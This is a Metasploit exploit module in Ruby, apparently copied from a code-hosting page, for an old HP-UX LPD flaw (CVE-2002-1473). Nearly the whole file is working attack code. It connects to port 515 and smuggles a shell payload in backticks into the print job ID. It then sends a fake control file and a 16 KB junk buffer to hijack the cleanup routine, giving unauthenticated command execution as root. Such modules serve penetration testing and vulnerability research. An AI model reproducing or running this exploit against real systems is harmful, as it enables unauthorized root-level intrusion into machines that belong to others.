bcoles
99 lines
2.9 KiB
Ruby
99 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'English'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'HP-UX LPD Command Execution',
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'Description' => %q{
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This exploit abuses an unpublished vulnerability in the
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HP-UX LPD service. This flaw allows an unauthenticated
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attacker to execute arbitrary commands with the privileges
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of the root user. The LPD service is only exploitable when
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the address of the attacking system can be resolved by the
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target. This vulnerability was silently patched with the
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buffer overflow flaws addressed in HP Security Bulletin
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HPSBUX0208-213.
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},
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'Author' => [ 'hdm' ],
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'References' => [
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['CVE', '2002-1473'],
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['OSVDB', '9638'],
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['URL', 'https://web.archive.org/web/20041213153521/http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],
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],
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'Platform' => %w[hpux unix],
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'Arch' => ARCH_CMD,
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'Payload' => {
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'Space' => 200,
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'DisableNops' => true,
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'BadChars' => "\x00\x09\x20\x2f",
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'Compat' => {
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl telnet'
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}
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},
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'Targets' => [
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[ 'Automatic Target', {}]
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],
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'Privileged' => true,
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'DefaultTarget' => 0,
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'DisclosureDate' => '2002-08-28',
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'SideEffects' => [IOC_IN_LOGS],
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'Reliability' => [REPEATABLE_SESSION]
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}
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)
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)
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register_options([
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Opt::RPORT(515)
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])
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end
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def exploit
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# The job ID is squashed down to three decimal digits
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jid = ($PROCESS_ID % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]
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# Connect to the LPD service
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connect
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print_status('Sending our job request with embedded command string...')
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# Send the job request with the encoded command
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sock.put("\x02#{rand_text_alphanumeric(3)}#{jid}`#{payload.encoded}`\n")
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res = sock.get_once(1)
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if !(res && res[0, 1] == "\x00")
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fail_with(Failure::Unknown, 'The target did not accept our job request')
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end
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print_status('Sending our fake control file...')
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sock.put("\x02 32 cfA#{rand_text_alphanumeric(8)}\n")
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res = sock.get_once(1)
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if !(res && res[0, 1] == "\x00")
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fail_with(Failure::Unknown, 'The target did not accept our control file')
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end
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print_status('Forcing an error and hijacking the cleanup routine...')
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begin
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sock.put(rand_text_alphanumeric(16384))
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rescue StandardError
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# request may fail, this is expected
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end
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ensure
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disconnect unless sock.nil?
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end
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end
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